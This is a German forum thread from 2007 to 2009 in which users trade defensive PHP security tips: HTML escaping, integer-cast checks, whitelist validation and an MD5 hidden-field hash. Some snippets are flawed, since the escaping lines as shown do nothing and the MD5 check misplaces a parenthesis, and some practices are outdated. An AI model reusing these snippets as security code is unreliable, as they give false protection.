Helmut Moderator Registriert seit: 04.2001 Ort: Brand-Erbisdorf Beiträge: 24.038	AW: Leitfaden zur sicheren PHP-Programmierung Hi, Schönheitsfehler würde ich das nicht unbedingt nennen, man kann ja schon verschiedene Regextypen definieren, das HTML bei bestimmten eingaben gefiltert wird sollte dann natürlich auch da im Formular stehen. Ich würde zumindest das strip_tags nicht global anwenden. Wenn man z.B. einen Templateeditor hat der HTML erlaubt schrottet man sich so alle Daten des Templates. Da würde ich dann eher die Sachen beim editieren in der Textarea so umwandeln Code: $htmldaten = preg_replace("/&(?#[0-9]+\|[a-z]+;)/m", "&$1", $htmldaten); $htmldaten = preg_replace("/</m", '<', $htmldaten); $htmldaten = preg_replace("/>/m", '>', $htmldaten); Beim speichern dann Code: $htmldaten = preg_replace('/\r/', '', $htmldaten); $htmldaten = preg_replace('/</', '<', $htmldaten); $htmldaten = preg_replace('/>/', '>', $htmldaten); und mit dann mit mysql_real_escape_string beim Speichern behandeln. Je nachdem wer da HTML Code eingeben darf sollte man dann noch eine Blackliste anlegen die Javascript (falls verboten) filtert. Cu Helmut __________________ [Nur wer selber mal probiert lernt auch dazu]

14.11.2007, 10:57	#6
bubuuu Registrierter Benutzer Member Registriert seit: 07.2004 Ort: Schweiz Beiträge: 202	AW: Leitfaden zur sicheren PHP-Programmierung Um eine Manipulation von nummerischen Variablen festzustellen, muss man die Variable nach dem Casten mit dem ursprünglichen Wert vergleichen. PHP-Code: `if ((string)((int)$_GET['id']) !== $_GET['id']) die ("Manipulation!");` Buch Quelle: PHP-Sicherheit __________________ Gruss Stef

18.12.2007, 18:06	#7
Spider Registrierter Benutzer eLiTe mEmBeR Registriert seit: 06.2001 Ort: Vogtland Beiträge: 6.076	AW: Leitfaden zur sicheren PHP-Programmierung 2. Validierung von übergebenen Variablen - Teil 2 Eine weitere effektive Methode zu richtigen Validierung von übergebenen Werten ist eine sogenannte Whitelist. Viele machen sich umständlich die Mühe aus übergebenen Werten das herauszufiltern was potenziell schädlich ist. Dabei ist es viel einfacher auf erwartete Werte zu reagieren. Natürlich kann man diese Methode nicht verwenden um Benutzernamen, Passwörter oder ähnliches aus einem Registrierungs-oder Anmeldeformular auf Korrektheit zu überprüfen. Wohl aber bei Werten die uns von vorn herein bekannt sind, bsw. für das includen bestimmter Dateien aus einer GET/POST Anweisung. Dazu erstellt man als erstes ein Array, in dem man die bekannten, erwarteten Werte definiert: PHP-Code: `<?php $whitlist = array('delete','reset','edit'); ?>` Als nächstes prüft man ob der übergebene Wert in diesem Array vorkommt und weist ihn einer festen, eigenen Variable zu. Alternative kann man auch einen Standart-Wert definieren, falls der übergebene Wert nicht mit dem Array der Whitelist übereinstimmt: PHP-Code: `<?php if (in_array($_GET['do'], $whitelist)) { $do = $_GET['do']; } else { $do = 'goback'; } ?>` Man sieht also das die Methode, mit einer Whitelist zu arbeiten, wessentlich effektiver und sicherer ist als die Variblen mit einer Blacklist zu überprüfen. In einer Blacklist kann man immer etwas vergessen, in einer Whitelist hat man die Daten vorgegeben auf die man auch wartet. Cu __________________ Erste Deutsche Juan Montoya Fanpage \| Das Formel 1 Tipspiel \| Spider-Software.de Meine Tutorials

22.06.2008, 11:09	#8
bubuuu Registrierter Benutzer Member Registriert seit: 07.2004 Ort: Schweiz Beiträge: 202	AW: Leitfaden zur sicheren PHP-Programmierung Formular Manipulation Aus dem Heft PHP Jounrnal Mit Hilfe eines lediglich im eigenen Programm bekannten geheimen Werts und des MD5-Algorithmus lässt sich sehr einfach ein so genannter Hash-Wert ermitteln, der zusätzlich zu den ursprünglichen Werten als Hidden-Feld in die PHP-Seite gesetzt wird. Seite mit Formular: PHP-Code: `$geheimnis = 'isagsnet'; $musssobleiben = 'darf nicht geändert werden?'; $md5hash = md5($geheimnis . $musssobleiben);` HTML-Code: <input type="hidden" name="so" value="<?=strip_tags($musssobleiben)?>"> <input type="hidden" name="hash" value="<?=strip_tags($md5hash)?>"> Wenn die Werte als Form-Parameter später wieder in einem PHP-Script landen, muss lediglich der mitgelieferte MD5-Hash mit dem nochmals berechneten Wert verglichen werden. Stimmen beide überein, dann kann man sehr sicher sein, dass die gelieferten Werte auch den Originalen entsprechen. Seite die Daten auswertet: PHP-Code: `$geheimnis = 'isagsnet'; if (md5($geheimnis . $_POST['so'] == $_POST['hash']) { // alle ok; weiter geht's } else { die('Daten wurden manipuliert'); }` __________________ Gruss Stef Geändert von bubuuu (22.06.2008 um 11:19 Uhr)

18.02.2009, 19:35	#9
litterauspirna Registrierter Benutzer Board-Member Registriert seit: 02.2008 Beiträge: 364	AW: Leitfaden zur sicheren PHP-Programmierung Hallo. Was ich vermisse in dem Thema wären auch ein paar hilfreiche Zeilen zum verhindern von Angriffen über Session Hijacking und Session Fixation. Habe im Netz schon gesucht aber bin aus vielen Sachen nicht schlau geworden. Wäre spitze wenn da noch was kommt. __________________ Taugenichtse die was haben,haben etwas gegen habenichtse die was taugen! Meine Seite http://www.lit-web.de

18.02.2009, 19:54	#10
Helmut Moderator Registriert seit: 04.2001 Ort: Brand-Erbisdorf Beiträge: 24.038	AW: Leitfaden zur sicheren PHP-Programmierung ... das ist auch nur ein Thema der Datenvalidierung im richtigen Kontext. Wenn Du alles was bei Dir an $variablen durchs Script geistert richtig behandelst ist schon fast alles getan. Wenn ich alles schreibe, dann meine ich aber auch alles. Nicht nur die Absicherung gegen SQL Injection. Auch bei der Ausgabe, Hidden Form Feldern, Cookies muss der Inhalt gecheckt werden. Cu Helmut __________________ [Nur wer selber mal probiert lernt auch dazu]

Themen-Optionen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen
Ansicht
Linear-Darstellung Zur Hybrid-Darstellung wechseln Zur Baum-Darstellung wechseln

Ähnliche Themen
Thema	Autor	Forum	Antworten	Letzter Beitrag
all-inkl php	forenlandschaft	PHP und MySQL	16	17.09.2004 14:29
CGI-Perl oder PHP?	micha02	CGI und Perl Forum	6	10.12.2003 16:33
Ist das so richtig: PHP + Apache	KoLSMS	PHP und MySQL	4	05.04.2003 17:01
PHP Dateien als *.htm speichern und trozdem als PHP behandeln lassen	Chacky	PHP und MySQL	3	02.01.2003 20:28
NEWSSCRIPT OHNE SSI GESUCHT!! ODER SSI SCRIPT IN PHP EINGEBUNDEN!	morpheus456	Suche Script - Script gefunden	9	25.01.2002 16:38